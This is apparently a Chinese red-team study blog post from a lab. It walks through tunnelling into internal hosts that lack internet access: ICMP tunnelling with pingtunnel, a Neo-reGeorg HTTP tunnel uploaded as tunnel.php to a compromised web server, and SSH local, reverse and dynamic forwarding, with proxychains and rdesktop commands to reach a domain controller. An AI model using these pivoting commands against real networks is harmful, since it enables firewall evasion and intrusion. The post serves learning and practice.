红队笔记Day3-->隧道上线不出网机器
昨天讲了通过代理的形式(端口转发)实现了上线不出网的机器,那么今天就来讲一下如何通过隧道上线不出网机器

目录
1.网络拓扑
2.开始做隧道?No!!!
3.icmp隧道
4.HTTP隧道
5.SSH隧道
1.什么是ssh隧道
2.ssh隧道:端口转发
3.SSH远程端口转发
4.ssh动态端口转发
1.网络拓扑
今天我youyouyouyouyoyoyo又配环境配到崩溃了,是的,配环境已经给我整麻了(kali的网卡那里感觉有点问题,怎么配都配不好)所以我知难而退,改换桥接!!

大概是这样的一个网络拓扑
2.开始做隧道?No!!!
第一部肯定不是做隧道啊!,你连防火墙给你通过什么流量都不知道,做啥隧道,做了流量也过不去,所以!!正确的第一步,是通过对应的流量探测去制定隧道的种类!!!
3.icmp隧道
所谓的icmp隧道就是:将数据包夹带在icmp的数据包中,其中,ICMP 隧道几乎在所有的网络环境中都是被允许的,因此攻击者可以通过 ICMP 隧道绕过一些网络安全设备。
但是!!!这个程序似乎在一些低版本的Windows上运行不了(缺少一些系统动态链接库文件)
虽然win11可以(但是很多内网的环境都是用的win7 winserver这种的)所以适用范围较窄感觉

即便是这样,那也还是要将草走复现一下的!😭😭😭
先是kali上的命令
sysctl -w net.ipv4.icmp_echo_ignore_all=1 //用于禁用本机对icmp流量的应答
然后再win7靶机上运行
pingtunnel.exe -type server -noprint 1 -nolog 1
然后kali上运行以下命令,意思就是将本机的8888作为scok5的连接端接口
bash pingtunnel -type client -l:8888 192.168.3.58 -sock5 1
最后就在kali上修改一个配置文件
vim /etc/proxychain4.conf //并且在底部添加一行socks5 127.0.0.1 8888 即可
就可以远程连接了
proxychains rdesktop 192.168.52.138
4.HTTP隧道
这个比较常见,我们经常都是通过一个web漏洞去getshell的,所以防火墙一般不会限制http流量
HTTP隧道有特别特别多,今天来分享一个加密隧道穿透 Neoreg-reGeorg
下载连接 :项目概览 - Neo-reGeorg - GitCode
开整,先再摆一下网络拓扑,以免忘记

先在kali上运行,k后面可以跟上你自己的密码
python neoreg.py -k "你的密码"
然后判断网站的语言,我这个win7上搭建的是php的网站

我们在执行完kali的命令之后会生成一个文件夹
---> 
选择对应的网站语言扔上去 (我这里扔的是tunnel.php)可以看见能成功访问

于是就在kali上执行这个命令,意思就是开本地的8888端口来连接远程的php文件
python neoreg.py -k "你的密码" -u http://192.168.3.58/tunnel.php -p 8888
这就可以了???,肯定不是啊,你还没开socks5的本地代理端口,咳咳咳,差点忘记说了
这个工具建立的是socks5代理,所以你就开启对应的代理端口
vim /ect/proxychains4.conf
在这个文件的最底端加上这个指令 socks5 127.0.0.1 8888
然后就可以连接啦!!!! 
proxychains rdesktop 192.168.52.138 //这个可以直接写内网的地址!!!
这样就能成功连接上去了!!!!嘿嘿嘿

当然了,http隧道可不止这一种,tunna abptts pivotnaacci 这些都是http的隧道,就不多枚举了
5.SSH隧道
众所周知,在实战中一般服务器都是的Linux_like的,于是小编就去下载了一个Ubuntu来玩一下

是时候该更新网络拓扑啦
于是这样我们就有了一台新的Linux服务器,可以搞事情了
直接访问它的网站根目录下的文件hhhh~~~
1.什么是ssh隧道
在实际中,大部分的Linux服务器都支持ssh协议,内网中的主机和设备以及边界的防火墙都允许ssh流量通过,但是!!!ssh除了可以远程连接,还可以转发流量,并且是加密转发,进而突破防火墙限制
2.ssh隧道:端口转发
首先确定Ubuntu的22端口开放,以及知道它的账号密码 ,就可以在kali进行以下操作
ssh -L 8887 192.168.52.138:3389 whoami@192.168.3.61 -p 22
这个的意思就是
- kali先通过连接Ubuntu服务器
- 又因为Ubuntu可以和内网通信, -L 意思为将靶机的3389端口的流量准发到攻击机的8887端口
- 当kali访问本地的8887就等于在访问内网DC的3389端口
这样就可以同时连接上两台服务器!!!


3.SSH远程端口转发
这个和本地端口转发有点类似不过要先获取它的root权限,这个Linux不用于Linux
蚁剑是无法执行ssh的,而且上线cs有点困难我不会,于是就要在ubuntu上面敲这个代码
ssh -R 8887:192.168.52.138:3389 kali@192.168.3.57 -p 22
前提是你的攻击机器kali开启22端口!!可以这样查看
sudo systemctl status ssh
没开启的话开启就好
sudo systemctl start ssh

然后在你的Ubuntu上面输入kali的密码就能成功连接了

但是,在你连接上了内网DC的时候,Ubuntu也是连接上了你的kali

如果你的虚拟机配置不当,或者说别的大佬有0day,是可以造成虚拟机越狱的,那到时候你就惨了
4.ssh动态端口转发
所谓的动态端口转发就是建立起一个ssh加密的socks4/5的代理隧道,我们需要在kali运行以下命令
ssh -D 8888 whoami@192.168.3.61
然后就能连接上Ubuntu了,其中的 -D意为建立socks5隧道流量走8888端口,去连接ubutu的22端口

当然了,以上能成功,是在socks5代理成功配置的情况下噢
满足上述条件,就能实现内网穿透了,远程上线成功!!!!

以上,就是多种的协议对应的一些隧道!!当然还有很多,像DNS ,RDP ,IPV6都是有对应隧道的,这里我就不枚举了!!
明天讲什么呢?? 讲隧道穿透利用方法, 多层代理,反正向代理,多级代理,节点加密,节点穿透,对应工具部署!!!! Byd我都期待起来了!!
相关文章:
红队笔记Day3-->隧道上线不出网机器
昨天讲了通过代理的形式(端口转发)实现了上线不出网的机器,那么今天就来讲一下如何通过隧道上线不出网机器 目录 1.网络拓扑 2.开始做隧道?No!!! 3.icmp隧道 4.HTTP隧道 5.SSH隧道 1.什么…...
C 练习实例70-求字符串长度
题目:写一个函数,求一个字符串的长度,在 main 函数中输入字符串,并输出其长度。 解答: #include <stdio.h> int length(char *s); int main() {int len;char str[20];printf("请输入字符串:\n");scan…...
HarmonyOS—@State装饰器:组件内状态
State装饰的变量,或称为状态变量,一旦变量拥有了状态属性,就和自定义组件的渲染绑定起来。当状态改变时,UI会发生对应的渲染改变。 在状态变量相关装饰器中,State是最基础的,使变量拥有状态属性的装饰器&a…...
Linux系统——防火墙拓展及重点理解
目录 一、iptables 1.基本语法 2.四表五链——重点记忆 2.1四表 2.2五链 2.3总结 3.iptables选项示例 3.1 -Z 清空流量计数 3.2 -P 修改默认规则 3.3 -D 删除规则 3.4 -R 指定编号替换规则 5.白名单 6.通用匹配 7.示例 7.1添加回环网卡 7.2可以访问端口 7.3 主…...
阿里云短信验证码的两个坑
其它都参照官网即可,其中有两个坑需要注意: 1、除去官网pom引用的包之外,还需要引用以下包: <dependency><groupId>org.apache.httpcomponents.client5</groupId><artifactId>httpclient5</artifact…...
c入门第十五篇——学而时习之(阶段性总结)
古人说:“学而时习之。”古人又说:“温故而知新。”古人还说:“读书百遍,其义自见。” 总结一个道理那就是好书要反反复复的读,学习过的知识要时常去复习它,才有可能常读常新。 我:“师弟&…...
抽象的前端
问题背景:vue3,axios 直接导致问题:路由渲染失败 问题报错:Uncaught SyntaxError: The requested module /node_modules/.vite/deps/axios.js?v7bee3286 does not provide an export named post (at LoginIn.vue:16:9) 引入组…...
UPC训练赛二十/20240217
A:无穷力量 题目描述 2022年重庆突发山火让世界看到了中国一个又一个的感人事迹:战士们第一时间奔赴火场,志愿者们自发组成团队,为救火提供一切的可能的服务,人们自发输送物资,有的志愿者甚至几天几夜没有睡觉。每个…...
【51单片机】LCD1602(江科大)
1.LCD1602介绍 LCD1602(Liquid Crystal Display)液晶显示屏是一种字符型液晶显示模块,可以显示ASCII码的标准字符和其它的一些内置特殊字符,还可以有8个自定义字符 显示容量:162个字符,每个字符为5*7点阵 2.引脚及应用电路 3.内部结构框图 屏幕: 字模库:类似于数码管的数…...
conda与pip的常用命令
conda的常用命令 1.查看conda版本 $ conda --version conda 23.11.02.查看conda的配置信息 $ conda infoactive environment : baseactive env location : /home/myPc/miniconda3shell level : 1user config file : /home/myPc/.condarcpopulated config files : conda vers…...
你知道什么是物联网MQTT么?
目录 你知道什么是物联网MQTT么?MQTT的基本概念MQTT的工作原理MQTT的应用场景MQTT的实例案例智能家居场景工业监控场景 你知道什么是物联网MQTT么? MQTT(Message Queuing Telemetry Transport)是一种轻量级的、基于发布/订阅模式…...
P8 pair vector
pair是一个模板类,用于表示一对值的组合,用<utility>中 pair模板有两个模板参数,t1 t2,分别表示第一个值和第二个值类型 pair类有两个成员变量,frist和 cond,分别表示第一个值与第二个值 还有一些成员函数和…...
奇异值分解(SVD)的应用——图像压缩
SVD方法是模型降阶的一类重要方法,本征正交分解(POD)和平衡截断(BT)都属于SVD类方法。 要想深入了解模型降阶技术,我们可以先从SVD的应用入手,做一个直观的了解。 1. SVD的定义和分类 我们想寻找…...
RTDETR改进系列指南
基于Ultralytics的RT-DETR改进项目.(89.9) 为了感谢各位对RTDETR项目的支持,本项目的赠品是yolov5-PAGCP通道剪枝算法.具体使用教程 自带的一些文件说明 train.py 训练模型的脚本main_profile.py 输出模型和模型每一层的参数,计算量的脚本(rtdetr-l和rtdetr-x因为thop库的问…...
类和结构体的区别
类(class)和结构体(struct)是面向对象编程(Object-Oriented Programming,OOP)中常见的两种数据类型,它们在不同的编程语言中有一些共同之处,但也存在一些区别。以下是它们…...
利用Excel模拟投币试验
文章目录 试验前对Excel要进行的设置试验步骤计算正面频率结果图试验前对Excel要进行的设置 进入Excel依次点击如下选项,最后将分析工具库勾选 #mermaid-svg-bIvrxZGI9buCMW6U {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#m…...
WebService接口测试
WebService的理解 WebService就是Web服务的意思,对应的应用层协议为SOAP(相当于HTTP协议),可理解为远程调用技术。 特点: 客户端发送的请求主体内容(请求报文)的格式为XML格式 接口返回的响…...
语音唤醒——
文章目录 配置主代码 参考文档:https://picovoice.ai/docs/quick-start/porcupine-python/ 配置 pip install pvporcupine主代码 ACCESS_KEY:需要将该参数填入即可 # # Copyright 2018-2023 Picovoice Inc. # # You may not use this file except in …...
typeScript 类型推论
什么是类型推论? 类型推论是 TypeScript 中的一个特性,它允许开发人员不必显式地指定变量的类型。相反,开发人员可以根据变量的使用情况让 TypeScript 编译器自动推断出类型。例如,如果开发人员将一个字符串赋值给一个变量&#…...
JavaScript 设计模式之代理模式
代理模式 其实这种模式在现在很多地方也都有使用到,如 Vue3 中的数据相应原理就是使用的 es6 中的 Proxy 代理及 Reflect 反射的方式来处理数据响应式 我们日常在使用数据请求时,也会用到一些代理的方式,比如在请求不同的域名,端…...
云原生核心技术 (7/12): K8s 核心概念白话解读(上):Pod 和 Deployment 究竟是什么?
大家好,欢迎来到《云原生核心技术》系列的第七篇! 在上一篇,我们成功地使用 Minikube 或 kind 在自己的电脑上搭建起了一个迷你但功能完备的 Kubernetes 集群。现在,我们就像一个拥有了一块崭新数字土地的农场主,是时…...
利用ngx_stream_return_module构建简易 TCP/UDP 响应网关
一、模块概述 ngx_stream_return_module 提供了一个极简的指令: return <value>;在收到客户端连接后,立即将 <value> 写回并关闭连接。<value> 支持内嵌文本和内置变量(如 $time_iso8601、$remote_addr 等)&a…...
Leetcode 3576. Transform Array to All Equal Elements
Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接:3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...
Unity3D中Gfx.WaitForPresent优化方案
前言 在Unity中,Gfx.WaitForPresent占用CPU过高通常表示主线程在等待GPU完成渲染(即CPU被阻塞),这表明存在GPU瓶颈或垂直同步/帧率设置问题。以下是系统的优化方案: 对惹,这里有一个游戏开发交流小组&…...
k8s从入门到放弃之Ingress七层负载
k8s从入门到放弃之Ingress七层负载 在Kubernetes(简称K8s)中,Ingress是一个API对象,它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress,你可…...
Qt Widget类解析与代码注释
#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码,写上注释 当然可以!这段代码是 Qt …...
系统设计 --- MongoDB亿级数据查询优化策略
系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log,共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题,不能使用ELK只能使用…...
【git】把本地更改提交远程新分支feature_g
创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...
C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
